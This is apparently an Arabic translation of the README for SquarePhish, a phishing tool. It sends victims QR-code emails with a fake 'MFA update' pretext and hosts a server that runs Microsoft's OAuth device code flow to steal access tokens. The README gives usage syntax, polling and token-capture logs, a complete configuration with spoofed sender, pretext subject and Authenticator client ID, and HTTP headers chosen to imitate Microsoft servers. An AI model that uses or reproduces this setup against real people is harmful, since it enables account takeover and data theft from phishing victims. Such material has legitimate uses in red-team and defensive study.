
أداة تصيد متقدمة تجمع بين تدفق مصادقة OAuth Device Code ورموز QR لاستخراج رموز مصادقة Microsoft عبر ذرائع تحديث MFA.
SquarePhish هي أداة تصيد متقدمة تستخدم تقنية تجمع بين تدفق المصادقة برمز جهاز OAuth ورموز QR.
راجع PhishInSuits لمزيد من التفاصيل حول استخدام تدفق رمز جهاز OAuth لهجمات التصيد.
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v0.1.0
|_________| \(
usage: squish.py [-h] {email,server} ...
SquarePhish -- v0.1.0
optional arguments:
-h, --help show this help message and exit
modules:
{email,server}
email send a malicious QR Code email to a provided victim
server host a malicious server QR Codes generated via the 'email' module will
point to that will activate the malicious OAuth Device Code flow
يمكن للمهاجم استخدام وحدة email من SquarePhish لإرسال بريد إلكتروني ضار برمز QR إلى الضحية. الذريعة الافتراضية هي أن الضحية مطالب بتحديث مصادقة Microsoft MFA الخاصة به لمواصلة استخدام البريد الإلكتروني على الجهاز المحمول. معرّف العميل الحالي المستخدم هو تطبيق Microsoft Authenticator.
من خلال إرسال رمز QR أولاً، يمكن للمهاجم تجنب بدء تدفق رمز جهاز OAuth مبكرًا والذي يستمر لمدة 15 دقيقة فقط.
بعد ذلك، سيقوم الضحية بمسح رمز QR الموجود في نص البريد الإلكتروني باستخدام جهازه المحمول. سيقوم رمز QR بتوجيه الضحية إلى الخادم الذي يتحكم فيه المهاجم (الذي يقوم بتشغيل وحدة server من SquarePhish)، مع معلمة عنوان URL مضبوطة على عنوان بريده الإلكتروني.
عندما يزور الضحية خادم SquarePhish الضار، يتم تشغيل عملية خلفية تبدأ تدفق مصادقة رمز جهاز OAuth وترسل للضحية رمز جهاز تم إنشاؤه عبر البريد الإلكتروني، والذي يُطلب منه إدخاله في موقع ويب Microsoft الرسمي لرمز الجهاز (سيؤدي هذا إلى بدء عداد الوقت لتدفق رمز جهاز OAuth لمدة 15 دقيقة).
بعد ذلك، سيواصل خادم SquarePhish الاستقصاء عن المصادقة في الخلفية.
[2022-04-08 14:31:51,962] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:31:57,185] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:02,372] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:07,516] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:12,847] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:17,993] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:23,169] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:28,492] [info] [[email protected]] Polling for user authentication...
بعد ذلك، سيزور الضحية موقع Microsoft لمصادقة رمز الجهاز إما من الرابط المقدم في البريد الإلكتروني أو من خلال إعادة توجيه من زيارة رابط SquarePhish على جهازه المحمول.
ثم سيدخل الضحية رمز الجهاز المقدم وسيُطلب منه الموافقة.
بعد أن يقوم الضحية بالمصادقة والموافقة، يتم حفظ رمز مصادقة محليًا وسيوفر للمهاجم الوصول عبر النطاق المحدد للتطبيق الطالب.
[2022-04-08 14:32:28,796] [info] [[email protected]] Token info saved to [email protected]
تعريف النطاق الحالي:
"scope": ".default offline_access profile openid"
!هام: قبل استخدام أي من الوحدتين، قم بتحديث المعلومات المطلوبة في ملف settings.config المشار إليها بـ
Required.
أرسل رمز QR تم إنشاؤه إلى الضحية المستهدفة والذي سيؤدي إلى تشغيل تدفق رمز جهاز OAuth.
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
victim email address to send initial QR code email to
-u URL, --url URL force a url to use, this will override the default
and will not work with default device flow or
pretext but can be useful if using squarephish to
send lures directing targets to other servers
استضافة خادم سيتم توجيه رمز QR تم إنشاؤه إليه، وعند الطلب، سيؤدي إلى تشغيل تدفق رمز جهاز OAuth.
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
يمكن العثور على جميع الإعدادات القابلة للتطبيق للتنفيذ وتعديلها عبر ملف settings.config. هناك عدة أجزاء من المعلومات المطلوبة التي ليس لها قيمة افتراضية ويجب على المستخدم ملؤها: SMTP_EMAIL و SMTP_PASSWORD و SQUAREPHISH_SERVER (فقط عند تنفيذ وحدة البريد الإلكتروني). تم توثيق جميع خيارات التهيئة داخل ملف الإعدادات عبر تعليقات داخل السطر.
ملاحظة: يجب أن تتطابق قيم SQUAREPHISH_ الموجودة في قسم 'EMAIL' من التهيئة مع القيم المحددة عند تشغيل خادم SquarePhish.
[DEFAULT]
SMTP_PORT = 465 # SMTP port, defaulted to 465
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
SMTP_PROTO = "ssl" # SMTP protocol: {ssl, tls, None (leave empty)}
SMTP_EMAIL = "" # Provide authenticating email address here
SMTP_PASSWORD = "" # Provide authenticating password here
[EMAIL]
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
[SERVER]
PORT = 8443
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
CERT_CRT = "" # Server SSL certificate .crt file
CERT_KEY = "" # Server SSL certificate .key file
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
حاليًا، يمكن العثور على النصوص المسبقة المحددة مسبقًا في مجلد pretexts.
لكتابة نصوص مسبقة مخصصة، استخدم القالب الموجود عبر مجلد pretexts/iphone/. مطلوب قالب بريد إلكتروني لكل من البريد الإلكتروني الأولي برمز QR والبريد الإلكتروني المتابع لرمز الجهاز.
هام: عند كتابة نص مسبق مخصص، لاحظ وجود %s في كلا القالبين. هذا موجود للسماح لـ SquarePhish بملء البيانات الصحيحة عند إنشاء رسائل البريد الإلكتروني (بيانات رمز QR و/أو قيمة رمز الجهاز).
يوجد العديد من رؤوس استجابة HTTP المعرفة في ملف utils.py. تم تعريف هذه الرؤوس لتجاوز أي قيم رأس استجابة Flask موجودة ولتوفير استجابة أكثر "شرعية" من الخادم. يمكن تعديل هذه القيم أو إزالتها و/أو إضافة رؤوس إضافية لتحسين OPSEC.
{
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}